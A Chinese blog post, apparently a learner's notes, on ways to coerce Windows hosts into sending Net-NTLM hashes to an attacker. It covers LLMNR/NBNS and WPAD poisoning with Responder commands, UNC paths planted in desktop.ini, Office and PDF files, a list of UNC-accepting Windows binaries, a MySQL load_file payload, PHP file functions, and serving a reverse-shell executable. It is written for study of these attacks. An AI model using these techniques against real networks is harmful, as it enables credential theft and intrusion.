Windows协议学习–NTML协议(中)

Windows协议学习--NTML协议(中)

主要参考自daiker师傅

前言

在文章中会介绍到使服务器向攻击者发起NTLM请求以获得net-ntlmhash。使用Responder来捕获

利用方式

在此之前我们需要知道windows解析域名的顺序是:

Hosts
DNS (cache / server) 
LLMNR
NBNS

如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析

1. LLMNR
LLMNR 是一种基于协议域名系统(DNS)数据包的格式,使得两者的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机,因此也称作多播DNS。监听的端口为UDP/5355,支持 IPv4 和 IPv6 ,并且在Linux上也实现了此协议。其解析名称的特点为端到端,IPv4 的广播地址为224.0.0.252,IPv6的广播地址为FF02:0:0:0:0:0:1:3FF02::1:3

当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。

LLMNR 进行名称解析的过程为:

检查本地 NetBIOS 缓存
如果缓存中没有则会像当前子网域发送广播
当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败

也就是说LLMNR并不需要一个服务器,而是采用广播包的形式,去询问DNS,跟ARP很像,因此也存在类似arp投毒等问题的出现

我们举个例子来分析:
当我们通过net use尝试去建立一个不存在IPC链接或者是尝试和攻击机建立IPC链接的时候:

upload_5b4e89d5ba6af041a7bb2b362ad13faf

受害者在Hosts文件里面没有找到,通过DNS解析失败。就会通过LLMNR协议进行广播,前文已经说过LLMNR的广播地址对应的就是224.0.0.252

之后攻击者会发送响应包告诉受害者想要查找的对应主机的IP就是攻击者的IP:

upload_215c986a24821b48003111c581bc48b5

这个时候whoami映射的ip就是攻击者的IP,当受害者访问whoami就会访问攻击者的IP,攻击者就能拿到net-ntlm hash
upload_02e5fdb2153ac683d5d6857551626919

2. NBNS
全称是NetBIOS Name Service
NetBIOS 协议进行名称解析的过程如下:

检查本地 NetBIOS 缓存
如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件

lmhosts 文件位于C:WindowsSystem32driversetc目录中。

NetBIOS协议进行名称解析是发送的UDP广播包。因此在没有配置WINS服务器的情况底下,LLMNR协议存在的安全问题,在NBNS协议里面同时存在。使用Responder也可以很方便得进行测试。这里不再重复展示。

upload_7d67d0dbe8f47752b478630e1a759c79

在使用net use尝试建立IPC链接时同样还会通过NBNS来查询,而攻击机同样也会告诉受害者它查询的主机对应IP就是攻击者的IP

总结来说其实要想使得服务器向攻击者发送NTLM请求的话,不妨多去寻找能够支持UNC路径的操作和特性,那么这里也就需要解释一下什么是UNC路径:

  • 1:什么是UNC路径?UNC路径就是类似softer这样的形式的网络路径。
  • 2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称
    格式:servernamesharename,其中servername是服务器名。sharename是共享资源的名称。
    目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。
  • 3:unc共享就是指网络硬盘的共享:
    当访问softer计算机中名为it168的共享文件夹,用UNC表示就是softerit168;如果是softer计算机的默认管理共享C$则用softerc$来表示。

文件夹

其实文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到(如果没看到需要先更改文件夹的图标):

upload_1fae23f7f12b80ef0741c6dfaff7d4ae

当我们将图标加载资源改成UNC格式指定到对应攻击者IP时
upload_ae3a5d796674413ffd76264c1cf18912

相当于打开文件夹后会通过UNC方式请求攻击者的图标资源,我们就能获取用户的net-ntlm hash

Win 7中验证会出现:

upload_44602a603214c23361266a5b9eefdab3

因为使用相同用户抓取的Hash不会再次显示,我们可以使用-v参数来显示每次抓取得到的NTLM Hash
upload_cbd154d66651cc8afbe2af05367a657c

系统命令携带UNC路径

其实我们之前使用的net use也就是调用了系统命令并且该命令支持UNC路径,当然我们还可以使用dir \的方式,这是我们知道最常用的方式之一:

upload_4df879de17ad6ce019cda495760b2dc3

upload_55e44fdd5367f4df26b53442807a273c

通过这种方式同样可以得到受害者的Hash
此外在Windows自带的系统命令或者是可执行文件中,如下还支持UNC路径:

> net.exe use hostshare 
> attrib.exe hostshare  
> bcdboot.exe hostshare  
> bdeunlock.exe hostshare  
> cacls.exe hostshare  
> certreq.exe hostshare #(noisy, pops an error dialog) 
> certutil.exe hostshare  
> cipher.exe hostshare  
> ClipUp.exe -l hostshare  
> cmdl32.exe hostshare  
> cmstp.exe /s hostshare  
> colorcpl.exe hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 hostshare hostshare  
> compact.exe hostshare  
> control.exe hostshare  
> convertvhd.exe -source hostshare -destination hostshare  
> Defrag.exe hostshare  
> diskperf.exe hostshare  
> dispdiag.exe -out hostshare  
> doskey.exe /MACROFILE=hostshare  
> esentutl.exe /k hostshare  
> expand.exe hostshare  
> extrac32.exe hostshare  
> FileHistory.exe hostshare #(noisy, pops a gui)  
> findstr.exe * hostshare  
> fontview.exe hostshare #(noisy, pops an error dialog)  
> fvenotify.exe hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check hostshare  
> hwrreg.exe hostshare  
> icacls.exe hostshare   
> licensingdiag.exe -cab hostshare  
> lodctr.exe hostshare  
> lpksetup.exe /p hostshare /s  
> makecab.exe hostshare  
> msiexec.exe /update hostshare /quiet  
> msinfo32.exe hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile hostshare #(noisy, error)  
> mstsc.exe hostshare #(noisy, error)  
> netcfg.exe -l hostshare -c p -i foo

xss

该方法经过测试发现只在ie和edge浏览器中有效,因为其他浏览器不允许从http域跨到file域,可以看到当使用IE打开该页面时:
可以捕捉获取NTLM

upload_925d5b344bbc91620d398c27055fec97

PDF

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生师傅的脚本https://github.com/3gstudent/Worse-PDF

upload_178349c450bad2f1a5e5eda2ebd3c062

利用adobe的Reader DC打开后会出现提示:
upload_749a478917afae4fa23f4e718ae5ea8b

当点击允许后便可以抓取到Hash
upload_9c482f62d3577b08af9453fdcb8c2bc8

利用Office

这里首先新建一个office,然后传一张图片上去后将后缀改为zip后打开文件:
进入word_rels,修改document.xml.rels

upload_e872bc214d356299c145277135aa87f2

这里本来只想加载的/image/1.jog图片,可以替换成UNC路径对应的攻击机的IP后,注意还需要加上TargetMode="External"保存后将zip重新修改为doc后双击打开可以发现:

这种方式同样可以获取NTLM的Hash:

upload_431e49cdaa096d65cf6de843cc316a71

抓包发现最后会尝试建立SMB的链接:
upload_4d4384aa1b1dad7e2a4d5de1956b9155

MYSQL

依据MYSQL进行的SQL注入太多太多,在CTF题中或者是实战过程中如果没有secure_file_priv的限制时,我们知道利用load_file是可以任意文件读取的,某种程度上说是支持file协议的,实际上load_file也同样支持UNC协议,因此当我们这样构造:

select load_file('\\172.16.100.1\mysql');

同样可以拿到net-ntlm hash

upload_fad43c91488a981264251df3e2e1572e

PHP

之前面试的时候被问到说file_get_contents如果面对的是Windows的主机有什么其他的利用点,当时一时没有回答上来,但其实在Windows中file_get_contents,但实际上同样也支持UNC路径,我们构造如下:

upload_1cc26af992e225530fccafeb816f7408

发现同样是可以触发成功的,因此推测其实还存在大量PHP函数是支持UNC路径的,比如说include
upload_8eda6d5707bf7ffe0fb722c5d7af7b43

涉及到文件包含的函数都支持UNC路径,至于底层的实现之后有时间再去分析
upload_eceacc55504dc312f1426a2297a139fc

关于这一点让我突然想起了PHP中phar反序列化的那些触发方法,同样也是基于文件操作的函数,基于这点发现其实和触发phar反序列化的函数很多都能够实现,只要是调用了php_stream_locate_url_wrapperwrapper的函数均是支持UNC路径的

upload_ddf7a0ee2dbfa2dd66a5384cbf545708

本地试了以下函数都是支持UNC路径并且responder能够成功抓取Hash的:
upload_ff92633ccc66301f1ac7deb401dfcf6c

其他师傅们可以尝试更多的函数,不过我个人认为满足调用php_stream_locate_url_wrapper都能支持UNC路径

WPAD

wpad全称是Web Proxy Auto-Discovery Protocol,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

upload_da20bdc86c0dd76fc6276bf3d442df87

它在本地网络上搜索名为wpad的计算机以找到该文件。然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器中检索wpad.dat文件(如果成功,则执行步骤4)。
2.wpad.corpdomain.com查询被发送到DNS服务器以查找分发Wpad配置的设备。(如果成功,则执行第4步)。
3.发送WPAD的LLMNR或NBNS查询(如果成功,请转到第4步,否则无法使用代理)
4.下载wpad.dat并使用它。

在下面的流量捕获中,机器以广播方式发送NBNS数据包,请求wpad.dat

upload_107421e2ecc821d25070e45bc4d42746

在这里存在两个攻击面:
1. 配合LLMNR/NBNS投毒
这是最早的攻击方式。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD,这个时候我们就可以进行LLMNR投毒和NBNS投毒

我们使用如下命令:

#当受害者对攻击者 WPAD 假服务器进行 WPAD 名称解析时,它会创建一个身份验证屏幕并要求客户端输入他的域凭据。
responder -I eth0 -wFb

upload_f40e91497d5a5d3013f1e9d51b41f180

此外,Responder 能够将用户重定向到虚假网页或提供恶意可执行文件。

必须在responder.conf文件中进行以下更改:

upload_e88cde7b5d5c3903d35d091ef941c7c2

然后启动响应程序:

responder -I eth0 -I 10.7.7.31 -r On -w On -wFb

现在,当受害者尝试使用浏览器时,他将看到以下页面:

upload_25e25f05a0791b8648b5116857e57509

如果受害者偶然点击了该链接,则会下载一个反向 shell:
upload_a259a72bf0184c610154004df279f3b7

最后,如果受害者执行恶意可执行文件,在端口 140 中使用 netcat,攻击者将能够访问受害者的计算机:
upload_7a143f9cad813ec62ca3a9f1d534983f

然而,微软在2016年发布了MS16-077安全公告,其更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

因此使用这种方式我们便不能在通过WPAD方式抓取用户的Hash,但是我们可以结合XSS的方式,使用HTML Injection,只需要修改Responder.conf即可:

upload_bca089ca82441f2ccc5ad299da168830

并且设置Serve-Html = Off这样搭配XSS之后受害者如果使用IE或者Edge打开后结合XSS中使用UNC路径同样可以抓取的受害者Hash
responder -I eth0 -wFb -f -P -v

upload_896080003c609eef287e44af352e6dc3


后续进一步NTLM的学习以及利用NTLM2 Hash或者NTLM Hash的姿势会在后面的学习记录中慢慢沉淀和积累

参考文章:
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#3-yong-hu-tou-xiang
https://trelis24.github.io/2018/08/03/Windows-WPAD-Poisoning-Responder/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇